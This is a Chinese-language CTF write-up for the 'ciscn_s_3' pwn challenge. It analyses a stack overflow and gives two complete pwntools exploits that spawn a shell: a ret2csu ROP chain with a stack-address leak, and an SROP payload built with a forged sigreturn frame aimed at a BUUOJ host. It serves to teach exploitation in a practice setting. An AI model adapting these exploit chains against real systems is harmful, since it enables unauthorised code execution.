ciscn_s_3

ciscn_s_3

IDA伪代码分析

首先检查一下文件

img

拖入IDA,首先发现vuln函数

img

直接看汇编

img

前面rax为0,那么调用read的系统调用,向rsp+buf开始写入0x400大小的字符,buf只有0x10的大小,那么肯定有溢出,还要注意前面mov rbp,rsp之后就没有sub esp了;后面mov rax 1将rax设为1,那么调用write系统调用,从rsp+buf开始打印0x30大小的数据。

32位对应的系统调用号

read 3
write 4
execve 11
sigreturn 77

64位对应的系统调用号

read 0
write 1
execve 59
sigreturn 15

我们发现还有个gadgets函数

img

一个是mov rax, 0Fh,按上面的表格,就是将rax系统调用号设置为15,也就是sigreturn,那么就可以用srop去做这题,还有一个是mov rax, 3Bh,将rax设置为59,也就是execve,也可以用普通的rop去做。

第一种做法

程序一开始是先执行read(0,buf,0x400),然后执行write(1,buf,0x30),buf的位置距离rbp只有0x10,所以存在栈溢出,而且前面没有进行sub rsp抬高栈,所以rsp和rbp是相等的,retn相当于pop rip,所以这里覆盖rbp的时候,其实就需要将rbp覆盖成你想要的返回地址。所以这道题的偏移其实就是0x10就可以了。

思路

第一种做法就是通过系统调用59对应的execve,然后想办法执行execve(“/bin/sh”,0,0)

上面说到了可以进行栈溢出,执行execve就需要给寄存器赋值,那大概的布局就是这样的:

$rax==59

$rdi==“/bin/sh”

$rsi==0

$rdx==0

syscall

上面我们看到gadgets函数中有mov rax,3Bh,那么第一个条件可以达成,对于第二条件,通过查找程序也没发现有/bin/sh的字符,那么就要通过栈溢出将/bin/sh写入栈中,然后通过泄露栈的地址,加上偏移去得到/bin/sh的地址,然后通过ROPgadget查找pop rdi ret的gadget将/bin/sh的地址写入rdi,第三第四个条件可以利用csu去赋值。

那么,首先是泄露栈的地址

1
2
3
4
5
payload1 = '/bin/sh\x00' * 2 + p64(main)
p.send(payload1)
p.recv(0x20)
binsh = u64(p.recv(8))  - 0x118
log.success(hex(binsh))

write是会打印出0x30大小的数据,这里在打印到0x20的时候,接下来是打印出来一个地址,这个地址一看就是栈上面的,所以只要算出这个地址和binsh地址的相对偏移,就可以在程序每次执行的时候算出binsh的地址了

这里是c88-b70==0x118

img

那么下一步就是利用csu给rsi,rbx赋值了,发现csu只能给edi赋值,但我们要给rdi赋值,所以我们还要找pop rdi的gadget

img

1
2
3
4
payload2 = '/bin/sh\x00' * 2 + p64(csu_end)
payload2 += p64(0) * 2 + p64(binsh+0x50) + p64(0) * 3 + p64(csu_first) + p64(rax_59_ret)
payload2 += p64(pop_rdi_ret) + p64(binsh) + p64(sys_call)
p.sendline(payload2)

这里的r12赋的值就是binsh的地址+0x50,也就是下一个rop的地址,也就是rax_59_ret的地址,给rax赋值为59,这里注意的是[r12],是取地址操作,所以r12是栈上的地址,这个地址里保存着rax_59_ret的地址,这里是我踩的一个坑,那么之后的exp就没什么好分析的了,放一下最后的exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

# context.log_level = 'debug'

p = process('ciscn_s_3')
# p = remote('node4.buuoj.cn','29053')
elf = ELF('ciscn_s_3')

main = 0x0004004ED
sys_call = 0x400517
csu_end = 0x40059A
csu_first = 0x400580
rax_59_ret = 0x4004E2
pop_rdi_ret = 0x4005a3

payload1 = '/bin/sh\x00' * 2 + p64(main)
p.send(payload1)
p.recv(0x20)
binsh = u64(p.recv(8))  - 0x118
log.success(hex(binsh))

payload2 = '/bin/sh\x00' * 2 + p64(csu_end)
payload2 += p64(0) * 2 + p64(binsh+0x50) + p64(0) * 3 + p64(csu_first) + p64(rax_59_ret)
payload2 += p64(pop_rdi_ret) + p64(binsh) + p64(sys_call)
p.sendline(payload2)

p.interactive()

第二种做法

用srop去做,首先介绍一下srop

SROP

SROP(Sigreturn Oriented Programming),sigreturn是一个系统调用,在 unix 系统发生 signal 的时候会被间接调用

当系统进程发起(deliver)一个 signal 的时候,该进程会被短暂的挂起(suspend),进入内核①,然后内核对该进程保留相应的上下文,跳转到之前注册好的 signal handler 中处理 signal②,当 signal 返回后③,内核为进程恢复之前保留的上下文,恢复进程的执行④

img

内核为进程保留相应的上下文的方法主要是:将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址,此时栈的情况是这样的:

img

我们称 ucontext 以及 siginfo 这一段为 signal frame,需要注意的是这一部分是在用户进程的地址空间,之后会跳转到注册过 signal handler 中处理相应的 signal,因此,当 signal handler 执行完成后就会执行 sigreturn 系统调用来恢复上下文,主要是将之前压入的寄存器的内容给还原回对应的寄存器,然后恢复进程的执行。

思路

我们发现gadgets函数中有个mov rax,0Fh,这是Sigreturn系统调用号,Sigreturn 从栈上读取数据,赋值到寄存器中,可以用来构造 syscall(59,”/bin/sh”,0,0)。那么我们可以通过构造一个fake signal frame,让程序调用了Sigreturn之后,恢复我们构造好的frame,给寄存器都赋值。这里需要用到SigreturnFrame(),我们用Python2去写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

# p = process('ciscn_s_3')
p = remote('node4.buuoj.cn','27856')
elf = ELF('ciscn_s_3')

main = 0x0004004ED
sys_call = 0x400517
csu_end = 0x40059A
csu_first = 0x400580
rax_15_ret = 0x4004DA
pop_rdi_ret = 0x4005a3

payload1 = '/bin/sh\x00' * 2 + p64(main)
p.send(payload1)
p.recv(0x20)
binsh = u64(p.recv(8))  - 0x118
log.success(hex(binsh))

fakeframe = SigreturnFrame()
fakeframe.rax = constants.SYS_execve
fakeframe.rdi = binsh
fakeframe.rsi = 0
fakeframe.rdx = 0
fakeframe.rip = sys_call

payload2 = '/bin/sh\x00' * 2 + p64(rax_15_ret) + p64(sys_call) + str(fakeframe)
p.send(payload2)
p.interactive()

这里记得fakeframe的rip设置sys_call,不然恢复了上下文后也不会调用execve